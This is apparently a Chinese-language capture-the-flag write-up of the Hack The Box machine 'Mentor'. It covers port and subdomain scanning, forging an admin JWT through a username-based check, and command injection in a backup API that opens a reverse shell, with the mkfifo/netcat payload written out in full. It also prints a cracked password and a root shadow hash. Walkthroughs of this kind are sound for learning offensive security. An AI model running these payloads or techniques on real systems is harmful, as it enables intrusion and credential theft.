基本信息
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.193 |
80
需要加hosts:
1 | 10.10.11.193 mentorquotes.htb |
一个博客:
子域名扫描
子域名扫描可以发现api,一个小坑,匹配到的时候响应是404,大部分工具默认选项都会忽略这个结果:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://mentorquotes.htb/" -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all |
api.mentorquotes.htb
同样加hosts后访问,默认结果404:
目录扫描
对api进行目录扫描发现一些结果:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://api.mentorquotes.htb/ |
docs
docs就是API文档,并且可以得到网站管理员的邮箱:
1 | james@mentorquotes.htb |
API
根据文档调用API,注册登录,得到一个JWT:
使用得到的JWT调用其他API例如users,提示需要admin:
james
JWT验证逻辑问题,因为JWT中使用的是username而不是email,那使用我们自己的邮箱,但使用james的用户名注册登录得到的JWT就能够通过admin校验,发现svc用户:
admin
现在使用admin JWT访问admin,得到check和backup:
backup
check还没实现,backup需要有效的json post参数:
直接提交空json即可得到需要的参数:
构造有效参数,响应内容只有Done:
命令注入
猜测backup实现方式,可以发现path参数的命令注入:
docker root
利用命令注入得到docker容器root:
1 | {"body":"miao","path":"/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f;"} |
postgresql
db.py中可以得到数据库账号密码,转发端口,查看数据库得到几条hash:
1 | local |
svc的hash破解出来密码:
1 | 123meunomeeivani |
user flag
svc用户ssh,得到user flag:
提权信息
运行linpeas之类,发现snmp配置文件最近有更新:
james
查看snmp配置文件得到密码,这个密码就是james密码,james用户可以sudo执行sh:
1 | cat /etc/snmp/snmpd.conf |
提权 & root flag
shadow
1 | root:$y$j9T$8yCyNLTeGfC2FDUDFE6sM1$e65o4d6wvakq5n8g3gyx.0R2UL1mAkx47MbbSvBE9a5:19292:0:99999:7::: |
参考资料
- Mentor - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Mentor-HTB-Discussion - Hackthebox Mentor Writeup – 0xDedinfosec
https://0xdedinfosec.vercel.app/blog/hackthebox-mentor-writeup